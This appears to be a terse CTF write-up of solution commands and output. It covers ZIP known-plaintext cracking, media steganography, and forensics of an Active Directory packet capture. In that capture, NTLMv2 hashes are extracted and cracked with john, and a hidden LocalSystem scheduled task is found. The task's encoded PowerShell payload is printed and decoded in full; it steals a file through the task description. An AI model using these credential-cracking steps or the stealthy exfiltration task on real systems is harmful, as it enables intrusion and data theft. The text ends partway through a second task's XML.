bkcrack -C attachment.zip -c challenge.avif -x 4 66747970617669730000000061766973
bkcrack 1.7.1 - 2024-12-21
[18:30:12] Z reduction using 8 bytes of known plaintext
100.0 % (8 / 8)
[18:30:12] Attack on 786955 Z values at index 11
Keys: b76b3323 6eebbce4 00a94706
21.3 % (167255 / 786955)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 167255
[18:30:43] Keys
b76b3323 6eebbce4 00a94706

 ffprobe -v error -show_streams -select_streams v challenge.avif

ffmpeg -i challenge.avif -map 0:v:1 stream1_%02d.png

montage stream1_02.png stream1_03.png stream1_04.png stream1_05.png -tile 2x2 -geometry +0+0 output.png

import wave
import struct

with wave.open("task.wav", "rb") as c:
    with wave.open("solve.wav", "wb") as a:
        a.setnchannels(1)
        a.setsampwidth(1)
        a.setframerate(24000)

        for i in range(c.getnframes()):
            L, R = struct.unpack('hh', c.readframes(1))
            data = L + R

            a_data = struct.pack('h', data)
            a.writeframes(a_data)

import binascii, zlib
from Crypto.Cipher import AES
from Crypto.Util import Counter

PAYLOAD_HEX = "0a6bd41815d0d2af8b30c25ce506b2ead194b0f3c4186913c80d2a2b"
KEY_HEX     = "0f87b6f831b312a0b6748c4a792b9362c033c75cc230aae63be2c9cfab12a0e4"

ctr = Counter.new(128, initial_value=1, little_endian=True)
raw = AES.new(binascii.unhexlify(KEY_HEX), AES.MODE_CTR, counter=ctr) \
         .decrypt(binascii.unhexlify(PAYLOAD_HEX))

try:
    raw = zlib.decompress(raw, -15)
except zlib.error:
    pass

print(raw.decode('utf-8', errors='replace'))

tshark -n -r *.pcapng -Y "ntlmssp.messagetype == 0x00000003" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmv2_response.ntproofstr -e ntlmssp.auth.sesskey -e smb2.sesid
kanna.seto      wire.com        c4ec074163bee82d9f829d1aa22de185        f38381332f94da4e87798fa3298486e0

tshark -n -r *.pcapng -Y "ntlmssp.messagetype == 0x00000002" -T fields -e ntlmssp.ntlmserverchallenge
e9b597a6e03a5122

tshark -r *.pcapng -Y "ntlmssp.messagetype==3" -T fields -e ntlmssp.ntlmv2_response

c4ec074163bee82d9f829d1aa22de1850101000000000000402a64de67addc01393769656779706e000000000200080057004900520045000100080044004300300031000400100077006900720065002e0063006f006d0003001a0044004300300031002e0077006900720065002e0063006f006d000500100077006900720065002e0063006f006d0007000800402a64de67addc010900120063006900660073002f0044004300300031000000000000000000

john  hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
taylorswift<3    (kanna.seto)

tshark -o "ntlmssp.nt_password:taylorswift<3" -r suctf-ad.pcapng -Y "frame.number==42" -T fields -e frame.number -e dcerpc.decrypted_stub_data | xxd -r -p
BL

\gsmIqwfB\.\.<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Description>+pOthJDent+ThjxjPLTKKrOBmqSOYxlHbVv3OPfptLM=</Description>
  </RegistrationInfo>
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="LocalSystem">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT1M</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="LocalSystem">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-NonInteractive -enc JAB0AGEAcgBnAGUAdABfAGYAaQBsAGUAIAA9ACAAIgBDADoAXABoAGkAbgB0AC4AegBpAHAAIgAKACQAZQBuAGMAcgB5AHAAdABpAG8AbgBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgA3AG0ATABuAHkAQwA5AFYAVwA5AEkAWgA4AG8AcABPAGwANwBvAHUATgBRAD0APQAiACkACgBmAHUAbgBjAHQAaQBvAG4AIABDAG8AbgB2AGUAcgB0AFQAbwAtAEIAYQBzAGUANgA0ACgAJABiAHkAdABlAEEAcgByAGEAeQApACAAewAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAEEAcgByAGEAeQApAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0AQgBhAHMAZQA2ADQAKAAkAGIAYQBzAGUANgA0AFMAdAByAGkAbgBnACkAIAB7AAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABTAHQAcgBpAG4AZwApAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQBuAGMAcgB5AHAAdAAtAEQAYQB0AGEAKAAkAGsAZQB5ACwAIAAkAGQAYQB0AGEAKQAgAHsACgAgACAAIAAgACQAYQBlAHMATQBhAG4AYQBnAGUAZAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAE0AYQBuAGEAZwBlAGQACgAgACAAIAAgACQAYQBlAHMATQBhAG4AYQBnAGUAZAAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJABhAGUAcwBNAGEAbgBhAGcAZQBkAC4AUABhAGQAZABpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3AAoAIAAgACAAIAAkAGEAZQBzAE0AYQBuAGEAZwBlAGQALgBLAGUAeQAgAD0AIAAkAGsAZQB5AAoAIAAgACAAIAAkAGEAZQBzAE0AYQBuAGEAZwBlAGQALgBHAGUAbgBlAHIAYQB0AGUASQBWACgAKQAKACAAIAAgACAAJABlAG4AYwByAHkAcAB0AG8AcgAgAD0AIAAkAGEAZQBzAE0AYQBuAGEAZwBlAGQALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkACgAgACAAIAAgACQAdQB0AGYAOABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAZABhAHQAYQApAAoAIAAgACAAIAAkAGUAbgBjAHIAeQBwAHQAZQBkAEQAYQB0AGEAIAA9ACAAJABlAG4AYwByAHkAcAB0AG8AcgAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAHUAdABmADgAQgB5AHQAZQBzACwAIAAwACwAIAAkAHUAdABmADgAQgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQAKACAAIAAgACAAJABjAG8AbQBiAGkAbgBlAGQARABhAHQAYQAgAD0AIAAkAGEAZQBzAE0AYQBuAGEAZwBlAGQALgBJAFYAIAArACAAJABlAG4AYwByAHkAcAB0AGUAZABEAGEAdABhAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAEMAbwBuAHYAZQByAHQAVABvAC0AQgBhAHMAZQA2ADQAIAAkAGMAbwBtAGIAaQBuAGUAZABEAGEAdABhAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARABlAGMAcgB5AHAAdAAtAEQAYQB0AGEAKAAkAGsAZQB5ACwAIAAkAGUAbgBjAHIAeQBwAHQAZQBkAEQAYQB0AGEAKQAgAHsACgAgACAAIAAgACQAYQBlAHMATQBhAG4AYQBnAGUAZAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAE0AYQBuAGEAZwBlAGQACgAgACAAIAAgACQAYQBlAHMATQBhAG4AYQBnAGUAZAAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJABhAGUAcwBNAGEAbgBhAGcAZQBkAC4AUABhAGQAZABpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3AAoAIAAgACAAIAAkAGMAbwBtAGIAaQBuAGUAZABEAGEAdABhACAAPQAgAEMAbwBuAHYAZQByAHQARgByAG8AbQAtAEIAYQBzAGUANgA0ACAAJABlAG4AYwByAHkAcAB0AGUAZABEAGEAdABhAAoAIAAgACAAIAAkAGEAZQBzAE0AYQBuAGEAZwBlAGQALgBJAFYAIAA9ACAAJABjAG8AbQBiAGkAbgBlAGQARABhAHQAYQBbADAALgAuADEANQBdAAoAIAAgACAAIAAkAGEAZQBzAE0AYQBuAGEAZwBlAGQALgBLAGUAeQAgAD0AIAAkAGsAZQB5AAoAIAAgACAAIAAkAGQAZQBjAHIAeQBwAHQAbwByACAAPQAgACQAYQBlAHMATQBhAG4AYQBnAGUAZAAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAKACAAIAAgACAAJABlAG4AYwByAHkAcAB0AGUAZABEAGEAdABhAEIAeQB0AGUAcwAgAD0AIAAkAGMAbwBtAGIAaQBuAGUAZABEAGEAdABhAFsAMQA2AC4ALgAkAGMAbwBtAGIAaQBuAGUAZABEAGEAdABhAC4ATABlAG4AZwB0AGgAXQAKACAAIAAgACAAJABkAGUAYwByAHkAcAB0AGUAZABEAGEAdABhAEIAeQB0AGUAcwAgAD0AIAAkAGQAZQBjAHIAeQBwAHQAbwByAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMAcgB5AHAAdABlAGQARABhAHQAYQBCAHkAdABlAHMALAAgADAALAAgACQAZQBuAGMAcgB5AHAAdABlAGQARABhAHQAYQBCAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAZABlAGMAcgB5AHAAdABlAGQARABhAHQAYQBCAHkAdABlAHMAKQAKAH0ACgBmAHUAbgBjAHQAaQBvAG4AIABEAG8AdwBuAGwAbwBhAGQAQgB5AFAAcwAoACQAdABhAHMAawBuAGEAbQBlACkAewAKACAAIAAgACAAJAB0AGEAcwBrACAAPQAgAEcAZQB0AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJAB0AGEAcwBrAG4AYQBtAGUAIAAtAFQAYQBzAGsAUABhAHQAaAAgAFwAOwAKACAAIAAgACAAIwAgAEMAaABlAGMAawAgAGkAZgAgAGYAaQBsAGUAIABlAHgAaQBzAHQAcwAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAdABhAHIAZwBlAHQAXwBmAGkAbABlACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIABSAGUAYQBkACAAZgBpAGwAZQAgAGMAbwBuAHQAZQBuAHQAIABhAG4AZAAgAGUAbgBjAHIAeQBwAHQAIABpAHQALAAgAHQAaABlAG4AIABzAGEAdgBlACAAaQB0ACAAdABvACAAdABhAHMAawAgAGQAZQBzAGMAcgBpAHAAdABpAG8AbgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIABDAGgAZQBjAGsAIABpAGYAIABmAGkAbABlACAAaQBzACAAbABhAHIAZwBlAHIAIAB0AGgAYQBuACAAMQBNAEIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGYAaQBsAGUASQBuAGYAbwAgAD0AIABHAGUAdAAtAEkAdABlAG0AIAAkAHQAYQByAGcAZQB0AF8AZgBpAGwAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABmAGkAbABlAEkAbgBmAG8ALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMQAwADQAOAA1ADcANgApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAiAFsALQBdACAARgBpAGwAZQAgAGkAcwAgAHQAbwBvACAAbABhAHIAZwBlAC4AIgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0AZQBsAHMAZQB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAPQAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAdABhAHIAZwBlAHQAXwBmAGkAbABlACAALQBFAG4AYwBvAGQAaQBuAGcAIABCAHkAdABlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlAAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgAH0AZQBsAHMAZQB7AAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAAIgBbAC0AXQAgAEYAaQBsAGUAIABuAG8AdAAgAGUAeABpAHMAdABzAC4AIgAKACAAIAAgACAAfQAKACAAIAAgACAAJABiADYANAByAGUAcwB1AGwAdAAgAD0AIABDAG8AbgB2AGUAcgB0AFQAbwAtAEIAYQBzAGUANgA0ACAAJAByAGUAcwB1AGwAdAAKACAAIAAgACAAJAB0AGEAcwBrAC4ARABlAHMAYwByAGkAcAB0AGkAbwBuACAAPQAgACQAYgA2ADQAcgBlAHMAdQBsAHQACgAgACAAIAAgAFMAZQB0AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgACQAdABhAHMAawAKAH0ACgBmAHUAbgBjAHQAaQBvAG4AIABEAG8AdwBuAGwAbwBhAGQAQgB5AEMAbwBtACgAJAB0AGEAcwBrAG4AYQBtAGUAKQB7AAoAIAAgACAAIAAkAHQAYQBzAGsAUABhAHQAaAAgAD0AIAAiAFwAIgAKACAAIAAgACAAJABzAGMAaABlAGQAdQBsAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFMAYwBoAGUAZAB1AGwAZQAuAFMAZQByAHYAaQBjAGUACgAgACAAIAAgACQAcwBjAGgAZQBkAHUAbABlAHIALgBDAG8AbgBuAGUAYwB0ACgAKQAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAZgBvAGwAZABlAHIAIAA9ACAAJABzAGMAaABlAGQAdQBsAGUAcgAuAEcAZQB0AEYAbwBsAGQAZQByACgAJAB0AGEAcwBrAFAAYQB0AGgAKQAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAPQAgACIAIgAKACAAIAAgACAAIAAgACAAIAAkAHQAYQBzAGsAIAA9ACAAJABmAG8AbABkAGUAcgAuAEcAZQB0AFQAYQBzAGsAKAAkAHQAYQBzAGsAbgBhAG0AZQApAAoAIAAgACAAIAAgACAAIAAgACQAZABlAGYAaQBuAGkAdABpAG8AbgAgAD0AIAAkAHQAYQBzAGsALgBEAGUAZgBpAG4AaQB0AGkAbwBuAAoAIAAgACAAIAAgACAAIAAgACMAIABDAGgAZQBjAGsAIABpAGYAIABmAGkAbABlACAAZQB4AGkAcwB0AHMACgAgACAAIAAgACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAdABhAHIAZwBlAHQAXwBmAGkAbABlACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAjACAAUgBlAGEAZAAgAGYAaQBsAGUAIABjAG8AbgB0AGUAbgB0ACAAYQBuAGQAIABlAG4AYwByAHkAcAB0ACAAaQB0ACwAIAB0AGgAZQBuACAAcwBhAHYAZQAgAGkAdAAgAHQAbwAgAHQAYQBzAGsAIABkAGUAcwBjAHIAaQBwAHQAaQBvAG4ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIABDAGgAZQBjAGsAIABpAGYAIABmAGkAbABlACAAaQBzACAAbABhAHIAZwBlAHIAIAB0AGgAYQBuACAAMQBNAEIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZgBpAGwAZQBJAG4AZgBvACAAPQAgAEcAZQB0AC0ASQB0AGUAbQAgACQAdABhAHIAZwBlAHQAXwBmAGkAbABlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAZgBpAGwAZQBJAG4AZgBvAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADEAMAA0ADgANQA3ADYAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAiAFsALQBdACAARgBpAGwAZQAgAGkAcwAgAHQAbwBvACAAbABhAHIAZwBlAC4AIgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQBlAGwAcwBlAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAHQAYQByAGcAZQB0AF8AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAQgB5AHQAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAPQAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQBlAGwAcwBlAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAPQAgACIAWwAtAF0AIABGAGkAbABlACAAbgBvAHQAIABlAHgAaQBzAHQAcwAuACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAkAGIANgA0AHIAZQBzAHUAbAB0ACAAPQAgAEMAbwBuAHYAZQByAHQAVABvAC0AQgBhAHMAZQA2ADQAIAAkAHIAZQBzAHUAbAB0AAoAIAAgACAAIAAgACAAIAAgACQAZABlAGYAaQBuAGkAdABpAG8AbgAuAFIAZQBnAGkAcwB0AHIAYQB0AGkAbwBuAEkAbgBmAG8ALgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA9ACAAJABiADYANAByAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAkAHUAcwBlAHIAIAA9ACAAJAB0AGEAcwBrAC4AUAByAGkAbgBjAGkAcABhAGwALgBVAHMAZQByAEkAZAAKACAAIAAgACAAIAAgACAAIAAkAGYAbwBsAGQAZQByAC4AUgBlAGcAaQBzAHQAZQByAFQAYQBzAGsARABlAGYAaQBuAGkAdABpAG8AbgAoACQAdABhAHMAawAuAE4AYQBtAGUALAAgACQAZABlAGYAaQBuAGkAdABpAG8AbgAsACAANgAsACAAJAB1AHMAZQByACwAIAAkAG4AdQBsAGwALAAgACQAdABhAHMAawAuAEQAZQBmAGkAbgBpAHQAaQBvAG4ALgBQAHIAaQBuAGMAaQBwAGEAbAAuAEwAbwBnAG8AbgBUAHkAcABlACkACgAgACAAIAAgAH0AYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBFAHIAcgBvAHIAIAAiAEYAYQBpAGwAZQBkAC4ALgAiAAoAIAAgACAAIAB9AAoAIAAgACAAIABmAGkAbgBhAGwAbAB5ACAAewAKACAAIAAgACAAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAGEAbABdADoAOgBSAGUAbABlAGEAcwBlAEMAbwBtAE8AYgBqAGUAYwB0ACgAJABzAGMAaABlAGQAdQBsAGUAcgApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACAAIAAgACAAfQAKAH0ACgAkAHQAYQBzAGsAbgBhAG0AZQAgAD0AIAAiAGcAcwBtAEkAcQB3AGYAQgAiAAoAdAByAHkAIAB7AAoAIAAgACAAIABEAG8AdwBuAGwAbwBhAGQAQgB5AFAAcwAoACQAdABhAHMAawBuAGEAbQBlACkACgB9AGMAYQB0AGMAaAB7AAoAIAAgACAAIABEAG8AdwBuAGwAbwBhAGQAQgB5AEMAbwBtACgAJAB0AGEAcwBrAG4AYQBtAGUAKQAKAH0ACgBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBFAHgAaQB0ACgAMAApAA==</Arguments>
    </Exec>
  </Actions>
</Task>

$target_file = "C:\hint.zip"
$encryptionKey = [System.Convert]::FromBase64String("7mLnyC9VW9IZ8opOl7ouNQ==")
function ConvertTo-Base64($byteArray) {
    [System.Convert]::ToBase64String($byteArray)
}

function ConvertFrom-Base64($base64String) {
    [System.Convert]::FromBase64String($base64String)
}

function Encrypt-Data($key, $data) {
    $aesManaged = New-Object System.Security.Cryptography.AesManaged
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.Key = $key
    $aesManaged.GenerateIV()
    $encryptor = $aesManaged.CreateEncryptor()
    $utf8Bytes = [System.Text.Encoding]::UTF8.GetBytes($data)
    $encryptedData = $encryptor.TransformFinalBlock($utf8Bytes, 0, $utf8Bytes.Length)
    $combinedData = $aesManaged.IV + $encryptedData
    return ConvertTo-Base64 $combinedData
}

function Decrypt-Data($key, $encryptedData) {
    $aesManaged = New-Object System.Security.Cryptography.AesManaged
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $combinedData = ConvertFrom-Base64 $encryptedData
    $aesManaged.IV = $combinedData[0..15]
    $aesManaged.Key = $key
    $decryptor = $aesManaged.CreateDecryptor()
    $encryptedDataBytes = $combinedData[16..$combinedData.Length]
    $decryptedDataBytes = $decryptor.TransformFinalBlock($encryptedDataBytes, 0, $encryptedDataBytes.Length)
    return [System.Text.Encoding]::UTF8.GetString($decryptedDataBytes)
}
function DownloadByPs($taskname){
    $task = Get-ScheduledTask -TaskName $taskname -TaskPath \;
    # Check if file exists
    if (Test-Path -Path $target_file) {
        try {
            # Read file content and encrypt it, then save it to task description
            # Check if file is larger than 1MB
            $fileInfo = Get-Item $target_file
            if ($fileInfo.Length -gt 1048576) {
                $result = "[-] File is too large."
            }else{
                $result = Get-Content -Path $target_file -Encoding Byte
            }
        } catch {
            $result = $_.Exception.Message
        }
    }else{
        $result = "[-] File not exists."
    }
    $b64result = ConvertTo-Base64 $result
    $task.Description = $b64result
    Set-ScheduledTask $task
}
function DownloadByCom($taskname){
    $taskPath = "\"
    $scheduler = New-Object -ComObject Schedule.Service
    $scheduler.Connect()
    try {
        $folder = $scheduler.GetFolder($taskPath)
        $result = ""
        $task = $folder.GetTask($taskname)
        $definition = $task.Definition
        # Check if file exists
        if (Test-Path -Path $target_file) {
            try {
                # Read file content and encrypt it, then save it to task description
                # Check if file is larger than 1MB
                $fileInfo = Get-Item $target_file
                if ($fileInfo.Length -gt 1048576) {
                    $result = "[-] File is too large."
                }else{
                    $result = Get-Content -Path $target_file -Encoding Byte
                }
            } catch {
                $result = $_.Exception.Message
            }
        }else{
            $result = "[-] File not exists."
        }
        $b64result = ConvertTo-Base64 $result
        $definition.RegistrationInfo.Description = $b64result
        $user = $task.Principal.UserId
        $folder.RegisterTaskDefinition($task.Name, $definition, 6, $user, $null, $task.Definition.Principal.LogonType)
    }catch {
        Write-Error "Failed.."
    }
    finally {
        [System.Runtime.InteropServices.Marshal]::ReleaseComObject($scheduler) | Out-Null
    }
}
$taskname = "gsmIqwfB"
try {
    DownloadByPs($taskname)
}catch{
    DownloadByCom($taskname)
}
[Environment]::Exit(0)

tshark -o "ntlmssp.nt_password:taylorswift<3" -r suctf-ad.pcapng -Y "frame.number==759" -T fields -e dcerpc.decrypted_stub_data | tr -d '\n' | xxd -r -p | strings -el | grep -oP '(?<=<Description>).*?(?=</Description>)' > hint_zip.b64
base64 -d hint_zip.b64 >hint.zip
unzip -P 'taylorswift<3' hint.zip

tshark -o kerberos.decrypt:TRUE -o kerberos.file:login.keytab -r suctf-ad.pcapng -Y "frame.number==2644" -T fields -e dcerpc.decrypted_stub_data

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Description>+iDalTJ7HJVQu45POcrdueHV8FKs8loQ7UGAmyLo1GQ=</Description>
    <URI>\JlWveTli</URI>
  </RegistrationInfo>
  <Principals>
    <Principal id="LocalSystem">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <ExecutionTimeLimit>PT1M</ExecutionTimeLimit>
    <Hidden>true</Hidden>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
  </Settings>
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2015-07-15T20:35:13</StartBoundary>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Actions Context="LocalSystem">
    <Exec>
      <Command>powershell.exe</Command>
